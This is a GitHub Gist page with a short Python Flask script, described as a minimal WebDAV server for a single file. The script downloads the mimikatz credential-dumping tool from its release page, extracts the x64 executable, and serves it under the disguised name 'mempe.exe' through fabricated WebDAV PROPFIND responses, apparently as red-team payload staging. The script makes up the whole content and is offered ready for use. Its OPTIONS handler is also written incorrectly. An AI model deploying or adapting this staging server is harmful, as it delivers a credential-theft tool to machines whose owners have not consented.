Skip to content

Instantly share code, notes, and snippets.

@zimnyaa
Created June 10, 2023 13:28
Show Gist options
  • Save zimnyaa/7dc1485fcff82f8e419a6a6f84832409 to your computer and use it in GitHub Desktop.
Save zimnyaa/7dc1485fcff82f8e419a6a6f84832409 to your computer and use it in GitHub Desktop.
minimal webdav implementation to serve a single file
from flask import Flask, Response
import os, time
from io import BytesIO
from zipfile import ZipFile
from urllib.request import urlopen
from threading import Thread
from random import randint
exetemplate = """<?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/mempe.exe</D:href><D:propstat><D:prop><D:resourcetype></D:resourcetype><D:getcontentlength>{}</D:getcontentlength><D:getlastmodified>Wed, 07 Jun 2023 21:57:19 GMT</D:getlastmodified><D:supportedlock><D:lockentry xmlns:D="DAV:"><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:displayname>mempe.exe</D:displayname><D:getcontenttype>application/x-msdownload</D:getcontenttype><D:getetag>"17667f43a6d9164c5000"</D:getetag></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
roottemplate = """<?xml version="1.0" encoding="UTF-8"?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/</D:href><D:propstat><D:prop><D:resourcetype><D:collection xmlns:D="DAV:"/></D:resourcetype><D:getlastmodified>Wed, 07 Jun 2023 21:57:19 GMT</D:getlastmodified><D:displayname></D:displayname><D:supportedlock><D:lockentry xmlns:D="DAV:"><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock></D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"""
app = Flask(__name__)
resp = urlopen("https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip")
myzip = ZipFile(BytesIO(resp.read()))
with myzip.open("x64/mimikatz.exe", 'r') as f:
pebytes = f.read()
print("mimi len:", len(pebytes))
@app.route('/<path:path>', methods=['PROPFIND'])
def webdavprops(path):
if path == 'mempe.exe':
return Response(exetemplate.format(len(pebytes)), status=207, mimetype='text/xml')
return Response('Not Found', status=404)
@app.route('/', methods=['PROPFIND'])
def webdavroot():
return Response(roottemplate, status=207, mimetype='text/xml')
@app.route('/mempe.exe', methods=['GET'])
def getpe():
return Response(pebytes, mimetype='application/x-msdownload')
@app.route('/', methods=['OPTIONS'])
def opts():
return 200, 'ok'
app.run(port=6692)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment